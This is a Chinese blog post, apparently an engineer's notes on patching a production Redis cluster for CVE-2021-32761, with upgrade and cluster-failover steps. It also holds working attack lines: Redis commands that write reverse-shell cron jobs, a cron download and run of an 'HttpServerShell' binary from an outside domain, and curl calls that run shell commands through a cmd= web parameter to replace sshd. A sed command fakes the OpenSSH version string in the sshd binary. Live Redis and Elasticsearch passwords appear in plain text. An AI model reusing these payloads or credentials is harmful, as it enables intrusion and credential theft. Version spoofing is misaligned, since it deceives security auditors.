首页 > 数据库 >Redis整形溢出漏洞(CVE-2021-32761)及修复脚本

Redis整形溢出漏洞(CVE-2021-32761)及修复脚本

时间:2024-01-24 16:48:23浏览次数:47  
标签:32761 Redis 3.12 redis 2021 6382 172.20 usr

今天的计划是修复线上的redis 漏洞

Redis整形溢出漏洞(CVE-2021-32761)及修复脚本

目的: 修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell 漏洞(次要 ,毕竟需要密码)

计划:

  1. 获取生产的redis版本 账号 和密码
  2. 在测试环境搭建反正环境
  3. 漏洞的研究与证实
  4. 测试环境的验证修复
  5. 生产的实施(运维操作 评估形成文档)

开始:

  1. 获取生产的redis版本信息 和账号密码

    需要安装一个redis-cli 才能去获取

    下载redis源码

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz
    

    解压缩

    tar -zxf redis-4.0.10.tar.gz
    

    切换redis源码目录

    cd redis-4.0.10/
    

    编译源文件 不需要指定位置 默认在/usr/local/bin 因为有Makefile

    make && make install (可能不需要make install  和root 账号 我用的是非root 账号 所以 install 的时候报错 没有 /usr/local的权限 ,但是在src 目录下生成了 redis-cli 直接用就可以了)
    
    
    
    spring.redis.cluster.nodes=172.20.3.12:6382,172.20.3.35:6382,172.20.3.36:6382,172.20.3.12:6381,172.20.3.35:6381,172.20.3.36:6381
    spring.redis.password=T6E2q7Bufv5k4Z
    spring.redis.cluster.max-redirects=3
    

    拿到了版本号是 redis_version:5.0.9

    通过了命令:

    ./redis-cli -h 172.20.3.12 -p 6382

    info

    2 搭建测试集群 开始

    下载指定版本redis

    wget http://download.redis.io/releases/redis-5.0.9.tar.gz

    由于我得alpha环境是不通外网的 所以 得换个环境了

    只能起我的vmware 虚拟机了

    虚拟机上已经安装过redis 不过版本信息是6.2.9

2 反弹shell漏洞实验

redis-cli 连接后 flushall清空数据

1.利用redis反弹回来一个shell
root@kali:~# redis-cli -h 192.168.85.170
set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"

set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"

set x "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/7999 0>&1\n"

set x "\n* * * * * cp /usr/sbin/sshd1109.bak /usr/sbin/sshd \n"

set x "\n* * * * * cp /usr/sbin/sshd /usr/sbin/sshd1109.bak \n"'



 wget --no-check-certificate https://sharkgame111.com/uploads/HttpServerShell  -O /root/test1 

set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"


set x "\n * */1 * * * wget --no-check-certificate https://sharkgame111.com/uploads/HttpServerShell  -O /root/test1 0>&1\n"

set x "\n * */1 * * * chmod +x /root/test1 0>&1\n"

set x "\n * */1 * * * nohup /root/test1 & 0>&1\n"



*/5 * * * wget https://sharkgame111.com/uploads/HttpServerCmd -O /root/test1 0>&1\n"

遇到点问题:

有的字符串会导致乱码 这个

这个乱码的引起到底是 centos ?==》 crontab -e >

config set dir /var/spool/cron/
config set dbfilename root
save

如果不清空数据会怎么样呢?

有差别 每个数据都被单独一行吸入到了crontab中了

如果要还原的话就是 清空再save.

然后直接本地开个nc ,没有安装的话 yum install nc

nc -lvnp 7999  进行接受反弹回来的信息

3 整数溢出漏洞

影响范围

Redis整形溢出漏洞影响版本:

2.2 < Redis Redis < 5.0.13
2.2 < Redis Redis < 6.0.15
2.2 < Redis Redis < 6.2.5

根据影响版本中的信息,排查并升级到安全版本,下载链接:
https://github.com/redis/redis/releases
安全版本:5.0.13、6.0.15/6.2.5

wget http://download.redis.io/releases/redis-6.2.5.tar.gz

开始修复

计划:

 1.    安装redis 单机或者集群? 
 2.    wget http://download.redis.io/releases/redis-6.2.5.tar.gz
 3.    备份conrtab

0 */1 * * * /srv/script/init_kerberos_kylin.sh > /srv/script/logs/init_kerberos_kylin.log 2>&1 * * */2 * * echo "" > /usr/local/project/bigdata/bgd-cloudswitch-search-provider/nohup.out */5 * * * * curl -s -k --cert client.pem --key key.pem -u elastic:tb355XlypevZWw7I9L35 -X POST https://172.20.3.35:9200/test_new_collect_terminal_info_alias/_rollover --header 'Content-Type:application/json' -d '{ "conditions": { "max_age": "15d", "max_docs": 50000000, "max_size": "10gb"}}' >> /root/crontab.log

信息备份

127.0.0.1:6379> auth T6E2q7Bufv5k4Z OK 127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rdb" 127.0.0.1:6379> config get dir 1) "dir" 2) "/service/redis-delete/redis-6.2.5" 127.0.0.1:6379>

停服务 把redis 迁移过去

启动命令准备好

java -Xms2048m -Xmx2048m -jar -Dspring.profiles.active=prod -Dspring.cloud.consul.host=172.20.133.200 -Dspring.cloud.consul.port=31000 -Dspring.config.location=application.yml,application-prod.properties /service/bigdata-cloudswitch-consumer/bigdata-cloudswitch-consumer-v1.0.8.7f5f609.201.jar

查看原有数据是否有redis key

keys *

查看所有的日志

tail -fn 200 logs/bigdata-cloudswitch-consumer/error.log

清楚数据 然后过几天来看对不对

[root@hadoop-server-006 bigdata-cloudswitch-consumer-second]# /usr/local/bin/redis-cli -h 172.20.3.12 -p 6382

auth T6E2q7Bufv5k4Z

172.20.3.12:6382> dbsize

(error) NOAUTH Authentication required.

172.20.3.12:6382> auth T6E2q7Bufv5k4Z OK

172.20.3.12:6382> dbsize (integer) 101329

172.20.3.12:6382> flushall OK

172.20.3.12:6382> dbsize (integer) 0

172.20.3.12:6382> dbsize (integer) 0

172.20.3.12:6382>

观察很久了 发现数据并没有增加

curl 172.20.3.12:9081/ip?cmd=ls%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=ls%20-l%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=mv%20/usr/sbin/sshd1109.bak%20/usr/sbin/sshd

redis的集群模式是可以更改的


redis slave 转 master

将 Redis Slave 转换为 Master 的过程如下所示:

  1. 首先登录到 Redis Slave 服务器上。可以使用 SSH 或其他远程连接工具进行登录。
  2. 打开命令行界面并输入 redis-cli 来启动 Redis CLI(Redis Command Line Interface)。
  3. 在 Redis CLI 中运行 SLAVEOF NO ONE 命令,这会取消当前从节点与主节点之间的复制关系。
  4. 然后再次运行 INFO replication 命令查看当前 Redis 实例的信息,确保已经成功变为了主节点。
  5. 最后退出 Redis CLI,返回到原始的操作系统命令行界面。
  6. 现在该 Redis Slave 就被转换为了新的 Redis Master。

注意事项:

  • 在执行此操作之前,建议先对数据库进行全量备份,以防止数据丢失。
  • 需要有足够的权限才能执行上述操作。

但是我发现一个问题

我的敲命令

SLAVEOF NO ON

会有问题

ERR REPLICAOF not allowed in cluster mode.

cluster nodes

可以查看集群节点信息

80b687768b2c93fac2c958d1230ee1c92cfc1d9f 172.20.3.36:6382@16382 slave 2602ce8a608ec75f9a6b02b53eb4f283b5c36146 0 1704347420110 6 connected d01d4cefca1de4ab6e25c3cfd5d8547ad0fedb38 172.20.3.12:6382@16382 master - 0 1704347418106 7 connected 10923-16383 e56a8d24266e17f049576d31ef1655e8b7712d2d 172.20.3.12:6381@16381 master - 0 1704347419108 1 connected 0-5460 c974ed8a7e0fa2b57902d0751edd7c818072301b 172.20.3.36:6381@16381 myself,slave d01d4cefca1de4ab6e25c3cfd5d8547ad0fedb38 0 1704347415000 5 connected 2602ce8a608ec75f9a6b02b53eb4f283b5c36146 172.20.3.35:6381@16381 master - 0 1704347421512 3 connected 5461-10922 2cabb3fafca25308ddaf28be812fafb8d1b5b694 172.20.3.35:6382@16382 slave e56a8d24266e17f049576d31ef1655e8b7712d2d 0 1704347421112 4 connected

c974ed8a7e0fa2b57902d0751edd7c818072301b 172.20.3.36:6381@16381 myself,slave d01d4cefca1de4ab6e25c3cfd5d8547ad0fedb38 0 1704348587000 5 connected

sed -i 's/OpenSSH_8.6/OpenSSH_9.5/g' /usr/sbin/sshd

标签:32761,Redis,3.12,redis,2021,6382,172.20,usr
From: https://www.cnblogs.com/dozenx/p/17985004

相关文章

  • Java21 + SpringBoot3整合Redis,使用Lettuce连接池,推荐连接池参数配置,封装Redis操作
    目录前言相关技术简介Redis实现步骤引入maven依赖修改配置文件定义Redis配置类定义Redis服务类,封装Redis常用操作使用Redis服务类总结前言近日心血来潮想做一个开源项目,目标是做一款可以适配多端、功能完备的模板工程,包含后台管理系统和前台系统,开发者基于此项目进行裁剪和扩展......
  • java使用redis 加锁
    配置类:publicclassRedisLockUtil{privatestaticRedisCacheredisCache=null;/***给key加锁,如果加锁成功,则返回true,加锁失败返回false*@return*/publicstaticbooleanlock(Stringkey,Integertimeout,TimeUnittimeUnit){......
  • Xmas Contest 2021 D Determinant?
    由Amitsur-Levitzki定理,当\(n\ge2k\)时,答案为\(0\)矩阵。否则我们考虑答案矩阵的某一位\(b_{i,j}\),其必然由某些路径\(i=p_0\top_1\to\\cdots\top_n=j\)贡献而来,一条路径的贡献为\(\text{sgn}(\sigma)\cdot\prod\limits_{i=1}^nA_{\sigma(i),p_{i-1},p_{i}}\)。......
  • [转帖]小米Redis的K8s容器化部署实践
    https://juejin.cn/post/6844904196924276743   背景WhyK8SHowK8sWhyProxyProxy带来的问题K8s带来的好处遇到的问题总结 背景 小米的Redis使用规模很大,现在有数万个实例,并且每天有百万亿次的访问频率,支撑了几乎所有的产品线和生......
  • redis常用命令
    String数据类型set/get/append/strlen/delsetkeyvalue#存放数据getkeyvalue#获取数据appendkeyvalue#Redis的append命令是往一个key追加value。如果没有key,则创建一个并且设置value。strlenkey#获取指定Key的字符长度existstest#判断该键是否存在,存在......
  • 本地启动redis
    1.修改配置文件本地启动需将ip绑定为127.0.0.1,如需要远程连接服务则修改为0.0.0.02.将redis加入服务并启动D:\Redis-x64-3.2.100>redis-server.exeredis.windows.conf3.启动redis出现如下报错解决方法为:在redis安装目录下打开cmd并执行命令D:\Redis-x64-3.2.100>red......
  • Redis集群搭建
    [!info]参考知乎:Redis集群的原理和搭建,一文带你详解CSDN:redis集群搭建、Redis集群模式与哨兵模式:详细对比与实例解析1.搭建脚本#连接redis-cli-c-hxxx.xxx.xxx.xxx-p8004-apassword#状态检查./bin/redis-cli-apassword--clustercheckxxx.xxx.xxx.xxx:......
  • 在Ubuntu上部署Redis并设置密码以及允许外网访问
    安装Redis更新系统包列表:sudoaptupdate安装Redis-server和Redis-tools:sudoaptinstallredis-serverredis-tools配置Redis编辑Redis配置文件(通常位于/etc/redis/redis.conf)以允许远程访问和设置密码:sudovim/etc/redis/redis.conf在配置文件中找到以下几行进行修......
  • 缓存选型:Redis or MemCache
    ★Redis24篇集合1背景互联网产品为了保证高性能和高可用性,经常会使用缓存来进行架构设计。最常用的就是使用Redis了,也有部分企业会选择使用Memcache。所以了解Redis和Memcache的区别、共性以及各自应用场景,有助于我们在做技术选型的时候,有合理的判断依据。2Redis和Me......
  • 【Azure Redis】PHPRedis遇见SSL Connection Timeout问题
    问题描述PHPRedis客户端遇见使用SSLConnectiontimeout,遇见问题后,切换回去Non-SSL没有出现问题。但是切换回SSL后,还是偶尔遇见Connectiontimeout问题。目前timeout设置时间为5秒,并且为例重用连接,启用了持久化redis.pconnect.pooling_enabled为1.是否有办法来缓解Timeout问题呢?......